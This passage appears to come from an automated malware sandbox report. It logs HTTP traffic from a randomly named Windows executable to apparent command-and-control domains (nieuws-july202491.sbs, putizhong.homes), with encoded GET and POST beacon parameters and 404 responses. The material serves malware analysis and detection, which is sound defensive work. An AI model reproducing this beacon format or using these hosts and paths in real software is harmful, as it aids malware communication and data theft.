5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 1353ZJvLRMUhqCV's=pB<w?qKvm( o=\|3q+{XV)w]vtOv,"fv?B0GV]nyyG=56jZ:UMh/0K'wRUX7!rV&Y:s^o/^VL?{f]m7n/L-B/?.+0@{?{T`+1J`YiG~LgK{?uMSap;kWa~g[<6.83Fnwzf>v=%ZqM\[My}zze/meeVu7/y6AVYfN"{fWiKK=0}+nf <\|#5uWi~?ulriocWRrd~"+7)o\|Gp++S'@[YUeM^_WXBGWxGV^5^Y}q+\|g\|qW&0zDP7q#C6=-L/1euI+=SwU`^Wo-/z#.6F-H~%Y}i,O9 A%?ZYIZufsoD G8~OI{tmH75>Z#P:{}>Lnn!AOl^:?Ww'
Oct 24, 2024 15:17:55.799840927 CEST	1236	IN	Data Raw: 4a e0 6f 66 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 08 a4 2f 86 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 95 97 67 e5 25 43 3d 0c 0a 37 06 b1 ae b9 71 c0 7e 4e 1f b1 80 ff b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7e ba 20 fb d9 af df cf 7b 63 bf 5f 71 cb Data Ascii: JofxoO/6g%C=7q~N t7}cU~ {c_qY+~7/CQOEK{?zvGY?U)g:$?d4^}oa'CFXx!g9iY\W8a~+z`U$
Oct 24, 2024 15:17:55.799894094 CEST	424	IN	Data Raw: b8 2c 71 6a 01 8b 46 1b 2e 3b 4d f0 5d 7e 6e 27 96 24 52 b6 2d 68 ac d3 e9 ae 61 a6 93 5c 9d 49 8c ce 89 93 ae 45 ed 60 16 32 74 96 44 67 bc 23 f0 18 4a eb ed 34 d9 06 91 5a 22 e6 c8 18 1b c2 c6 1d 8f b1 04 ad f6 b1 ce f0 c1 5c a4 a2 51 5a 2f 78 Data Ascii: ,qjF.;M]~n'$R-ha\IE`2tDg#J4Z"\QZ/x:7+Ne4]f&cK}6<;U?Zse,}\]lZ\|t: G;n8cni5HOp,s)jf(6rfZ&;pFM=:rRy%;iJ^nCeST jF
Oct 24, 2024 15:17:55.799927950 CEST	1236	IN	Data Raw: ea e7 98 5d 4a a7 90 da 43 8b 1d c8 36 ab 61 78 2c 44 42 4d 6b 39 f6 c8 6c c3 5b 73 92 1e 0e 47 aa 3a 47 16 72 b1 3e 60 55 b8 f5 ec 49 1a 20 81 22 e6 06 bf 99 1e 12 86 76 31 8b 1a ea 78 2b 75 61 16 f2 85 96 60 69 1d 38 a4 aa b1 34 29 b6 6b 8d de Data Ascii: ]JC6ax,DBMk9l[sG:Gr>`UI "v1x+ua`i84)kBV*'Ig9v.&$5Ql1rMRNs^-Tu+^9lZ9]e9:h+q8& Brh%v>qaa;u
Oct 24, 2024 15:17:55.800009012 CEST	1107	IN	Data Raw: ad bb 22 c9 dd 78 37 0a 76 1a c7 69 67 a7 15 f6 f0 90 c3 82 c3 01 14 fd 70 c9 1a 9e 50 59 94 8f 90 e5 ee 41 c2 74 48 62 34 1c b7 8a e1 c9 64 be 67 6c c4 87 66 f3 70 6e 84 72 41 15 44 83 ee 8b c6 b1 2a f3 9c a3 a3 f5 8a 5d 7a fb 3c 97 c2 29 37 0a Data Ascii: "x7vigpPYAtHb4dglfpnrAD*]z<)77&=d&-Q;k8C,v)uEMUz?Sjl?ea0@s^)TY^?gtm(@a1D6#6u@7Vk{i<vTIdlbk$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49908	162.0.215.33	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:17:57.635550976 CEST	491	OUT	GET /4bpc/?7Bohe=W6c12MBAM7+Q3p2I42CNcaaX4meOt2NlPYb0dUqqy/7eqOW0wKa7H8cBCmolVGR7OaXpdOvS7kWyFQKJ7xuZambhzJ6Jbz/iDls78L0zlt4s48FcRMJ2uoIWwWqypjO6Yg==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.nieuws-july202491.sbs Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:17:58.289444923 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Thu, 24 Oct 2024 13:17:58 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 46 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 278F<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Oct 24, 2024 15:17:58.289510012 CEST	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Oct 24, 2024 15:17:58.289562941 CEST	1236	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Oct 24, 2024 15:17:58.289597988 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { te
Oct 24, 2024 15:17:58.289649010 CEST	848	IN	Data Raw: 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 Data Ascii: 9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTE
Oct 24, 2024 15:17:58.289683104 CEST	1236	IN	Data Raw: 63 68 4a 69 42 41 6f 6d 6b 7a 33 78 34 33 6c 2b 6e 75 57 47 6d 57 68 6b 51 73 30 61 36 59 37 59 48 56 65 37 37 32 6d 31 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 Data Ascii: chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPe
Oct 24, 2024 15:17:58.289716959 CEST	1236	IN	Data Raw: 75 73 38 4a 6f 4c 69 35 65 31 75 32 79 57 4e 31 6b 78 64 33 55 56 39 56 58 41 64 76 6e 6a 6e 74 49 6b 73 68 31 56 33 42 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 Data Ascii: us8JoLi5e1u2yWN1kxd3UV9VXAdvnjntIksh1V3BSe/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD
Oct 24, 2024 15:17:58.289750099 CEST	1236	IN	Data Raw: 58 74 65 65 43 56 37 5a 6a 67 2f 77 75 61 38 59 47 6c 33 58 76 44 55 50 79 2f 63 2f 41 76 64 34 2f 68 4e 44 53 71 65 67 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: XteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-code { font-size: 900%; } .status-reason
Oct 24, 2024 15:17:58.289788008 CEST	857	IN	Data Raw: 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 69 6d 61 67 65 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 68 65 61 64 69 6e 67 22 3e 0a 20 20 20 20 Data Ascii: class="info-image" /> <div class="info-heading"> www.nieuws-july202491.sbs/cp_errordocument.shtml (port 80) </div> </li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49940	154.7.176.67	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:03.374195099 CEST	749	OUT	POST /oacu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.putizhong.homes Origin: http://www.putizhong.homes Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.putizhong.homes/oacu/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 64 77 32 6c 54 4a 4e 43 48 68 69 6c 46 4a 4b 2b 61 39 4e 6d 6d 35 65 7a 30 71 59 66 67 4d 65 37 69 78 54 70 36 4a 30 45 4e 4a 6d 37 74 36 52 6f 54 66 79 6f 46 79 48 72 51 66 53 41 49 31 45 43 6b 46 71 6e 71 46 50 75 6a 66 31 31 4f 36 59 47 4c 56 68 4d 2f 4f 69 6c 49 4c 47 74 6c 35 37 62 32 63 43 63 79 78 74 6c 51 5a 4d 33 44 45 55 49 4e 62 37 6d 61 63 73 48 46 5a 6b 36 34 43 4d 31 70 42 43 65 6f 78 2f 74 37 73 4f 47 4c 6c 63 72 54 79 74 4d 70 6d 30 52 71 70 42 54 6f 58 71 51 68 76 55 57 36 6c 6b 58 5a 6d 68 58 74 2f 34 31 69 68 64 4e 57 35 72 32 61 77 73 56 53 77 44 54 42 6b 46 62 38 52 67 3d Data Ascii: 7Bohe=dw2lTJNCHhilFJK+a9Nmm5ez0qYfgMe7ixTp6J0ENJm7t6RoTfyoFyHrQfSAI1ECkFqnqFPujf11O6YGLVhM/OilILGtl57b2cCcyxtlQZM3DEUINb7macsHFZk64CM1pBCeox/t7sOGLlcrTytMpm0RqpBToXqQhvUW6lkXZmhXt/41ihdNW5r2awsVSwDTBkFb8Rg=
Oct 24, 2024 15:18:04.033938885 CEST	685	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 24 Oct 2024 13:18:03 GMT Content-Type: text/html Content-Length: 520 Connection: close ETag: "6632e438-208" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49956	154.7.176.67	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:06.053886890 CEST	769	OUT	POST /oacu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.putizhong.homes Origin: http://www.putizhong.homes Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.putizhong.homes/oacu/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 64 77 32 6c 54 4a 4e 43 48 68 69 6c 4b 49 61 2b 5a 61 68 6d 33 70 65 73 78 71 59 66 75 73 65 67 69 78 58 70 36 49 41 75 4e 62 79 37 74 59 4a 6f 53 65 79 6f 45 79 48 72 62 2f 53 2f 51 56 45 5a 6b 46 6e 61 71 45 6a 75 6a 62 56 31 4f 2f 30 47 4c 69 64 50 35 65 69 6a 41 72 47 76 72 5a 37 62 32 63 43 63 79 78 35 62 51 66 6b 33 44 30 45 49 4d 36 37 6c 54 38 73 45 54 4a 6b 36 7a 69 4d 78 70 42 43 38 6f 77 54 4c 37 75 47 47 4c 6c 4d 72 53 67 46 50 36 47 30 58 67 4a 41 39 37 58 62 70 68 39 4e 62 31 55 45 65 45 51 52 38 6c 70 56 66 34 44 56 6c 46 5a 48 4f 4b 6a 6b 69 44 41 69 36 62 48 56 72 69 47 31 62 46 4f 49 44 78 51 79 79 70 56 50 53 31 6b 44 75 4b 74 44 5a Data Ascii: 7Bohe=dw2lTJNCHhilKIa+Zahm3pesxqYfusegixXp6IAuNby7tYJoSeyoEyHrb/S/QVEZkFnaqEjujbV1O/0GLidP5eijArGvrZ7b2cCcyx5bQfk3D0EIM67lT8sETJk6ziMxpBC8owTL7uGGLlMrSgFP6G0XgJA97Xbph9Nb1UEeEQR8lpVf4DVlFZHOKjkiDAi6bHVriG1bFOIDxQyypVPS1kDuKtDZ
Oct 24, 2024 15:18:06.669924021 CEST	685	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 24 Oct 2024 13:18:06 GMT Content-Type: text/html Content-Length: 520 Connection: close ETag: "6632e438-208" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49972	154.7.176.67	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:08.641904116 CEST	1786	OUT	POST /oacu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.putizhong.homes Origin: http://www.putizhong.homes Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.putizhong.homes/oacu/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 64 77 32 6c 54 4a 4e 43 48 68 69 6c 4b 49 61 2b 5a 61 68 6d 33 70 65 73 78 71 59 66 75 73 65 67 69 78 58 70 36 49 41 75 4e 61 4b 37 74 70 70 6f 54 39 61 6f 48 79 48 72 48 50 53 45 51 56 45 59 6b 46 2f 57 71 45 2f 59 6a 5a 74 31 4f 5a 67 47 4e 57 4a 50 77 65 69 6a 4d 4c 47 69 6c 35 37 43 32 59 75 59 79 78 70 62 51 66 6b 33 44 79 6f 49 46 4c 37 6c 56 38 73 48 46 5a 6b 2b 34 43 4d 5a 70 42 36 47 6f 77 6e 45 36 65 6d 47 4b 45 38 72 66 31 5a 50 67 47 30 56 6a 4a 41 54 37 58 58 49 68 39 41 6f 31 55 68 44 45 58 39 38 30 75 6f 6f 73 77 4e 74 57 2f 62 65 46 52 77 64 5a 51 71 4c 52 6d 46 2f 69 57 70 62 45 2f 59 68 2f 41 79 59 38 57 6a 65 72 31 66 50 50 5a 6e 54 35 57 34 70 45 45 6c 6c 47 52 30 4f 31 7a 56 2b 79 49 6f 35 66 76 49 67 53 59 4a 37 74 50 57 6f 43 34 54 51 68 42 48 4c 70 6b 77 73 4b 58 51 43 49 49 6e 45 67 73 7a 6b 67 41 65 49 33 75 4e 4d 59 30 33 66 2f 69 37 4a 48 4f 56 33 47 42 50 32 74 72 68 76 4a 75 4f 55 4b 75 6f 66 51 6c 48 41 48 33 4a 72 61 44 67 6d 69 75 31 41 35 6a 56 45 [TRUNCATED] Data Ascii: 7Bohe=dw2lTJNCHhilKIa+Zahm3pesxqYfusegixXp6IAuNaK7tppoT9aoHyHrHPSEQVEYkF/WqE/YjZt1OZgGNWJPweijMLGil57C2YuYyxpbQfk3DyoIFL7lV8sHFZk+4CMZpB6GownE6emGKE8rf1ZPgG0VjJAT7XXIh9Ao1UhDEX980uooswNtW/beFRwdZQqLRmF/iWpbE/Yh/AyY8Wjer1fPPZnT5W4pEEllGR0O1zV+yIo5fvIgSYJ7tPWoC4TQhBHLpkwsKXQCIInEgszkgAeI3uNMY03f/i7JHOV3GBP2trhvJuOUKuofQlHAH3JraDgmiu1A5jVElhYNSl1UaNcF9ht+4QwKqqK7sFocufVE/hzK1peMBPdGOqELc/WxyOyvUMXdN3QXx2WbeefWbyXICQnNYPCIEhgcgn9JEMuIXe9kct+/cvZ8+hHJyQ96Q2gollf2FmfyfYTZU9vA39EmZGlYASidzMcHF1kWbob3l0VFZ5WPz5HF3WZlHIU6h41wz/lwDfaLALXQO95TyIFxsksqmgTVdO2Wns7sYIQZDOtTMV893B/ZzglGWpGARajI95AHRoH1QdqbT41A559LSX/cLMsaZqBzkhmjB0cDt1C9qL56Ni/Lq2Uaupq//+63eaIZ9JRupFtB6KusZDrIPVyV/fUS1XIYDN7ZIapWqz0NZzcwFFT+O2bRP9IJ9JCwkBKZ0rHyUZ+vrxbxuMLBGLR8aQqnxYsu4nc8nWjYnBJ+UzWlq0FjorT/2I3Zjy+O0IlHgtlnG11NqtM4WrL5bFrwd8F0tgWhcsyQPxbpUlVJt9CLTl1oYuEgSSEESx7CmFZr+RyQ85+rTWJDd3wEvaWyDmUeWoqE12EUH80jqn3q16W3M4+bERTZ9vpnz2UuG3AT35t5yNkJY3C7AMug19g4Lh9+Tr6cLNvTD9EweuzdyQwyy2sIuMvliJFAvc61Y7oA4zGKZ7zeX4T5nHQw2phoavneIjXbSXK1xQejKv [TRUNCATED]
Oct 24, 2024 15:18:09.268960953 CEST	685	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 24 Oct 2024 13:18:09 GMT Content-Type: text/html Content-Length: 520 Connection: close ETag: "6632e438-208" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49988	154.7.176.67	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:11.178035975 CEST	485	OUT	GET /oacu/?vD=h0e85v&7Bohe=QyeFQ+FiMQKSKdq/BKxG+5Ov1bwmlN3FnlPZyKM2ZYbXsZFvV/O3NTv6ZfeubWU6jSKaxDXQpId5DKUlUVN54eSFHJCOrp//l7em+zpeeu1iGig/Io/KcJQlUpo44DFlsQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.putizhong.homes Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
